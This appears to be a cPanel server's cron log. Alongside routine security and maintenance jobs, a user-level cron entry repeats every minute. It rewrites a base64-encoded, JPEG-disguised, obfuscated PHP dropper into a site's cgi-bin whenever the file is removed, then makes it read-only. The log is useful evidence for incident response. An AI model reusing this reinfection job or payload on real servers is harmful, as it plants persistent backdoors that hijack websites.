Sep  1 04:00:01 server CROND[19916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:00:01 server CROND[19918]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 04:00:01 server CROND[19921]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:00:01 server CROND[19926]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 04:00:01 server CROND[19924]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 04:00:01 server CROND[19925]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  1 04:00:01 server CROND[19928]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  1 04:01:01 server CROND[20792]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:01:01 server CROND[20793]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 04:01:01 server CROND[20794]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:01:01 server CROND[20795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:01:01 server run-parts(/etc/cron.hourly)[20793]: starting 0anacron
Sep  1 04:01:01 server run-parts(/etc/cron.hourly)[20814]: finished 0anacron
Sep  1 04:02:01 server CROND[21168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:02:01 server CROND[21169]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:02:01 server CROND[21167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:03:01 server CROND[21636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:03:01 server CROND[21637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:03:01 server CROND[21638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:04:01 server CROND[22025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:04:01 server CROND[22026]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:04:01 server CROND[22027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:05:01 server CROND[22439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:05:01 server CROND[22441]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 04:05:01 server CROND[22442]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 04:05:01 server CROND[22445]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 04:05:01 server CROND[22446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:05:01 server CROND[22447]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 04:05:01 server CROND[22444]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:05:01 server CROND[22448]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 04:06:01 server CROND[23441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:06:01 server CROND[23442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:06:01 server CROND[23443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:07:01 server CROND[23811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:07:01 server CROND[23810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:07:01 server CROND[23812]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:08:01 server CROND[24274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:08:01 server CROND[24275]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:08:01 server CROND[24277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:09:01 server CROND[24649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:09:01 server CROND[24650]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:09:01 server CROND[24651]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 04:09:01 server CROND[24652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:10:01 server CROND[25046]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 04:10:01 server CROND[25047]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 04:10:01 server CROND[25049]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 04:10:01 server CROND[25066]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:10:01 server CROND[25065]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 04:10:01 server CROND[25068]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 04:10:01 server CROND[25070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:10:01 server CROND[25069]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:11:01 server CROND[25883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:11:01 server CROND[25881]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 04:11:01 server CROND[25882]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:12:01 server CROND[26261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 04:12:01 server CROND[26262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 04:12:01 server CROND[26263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidX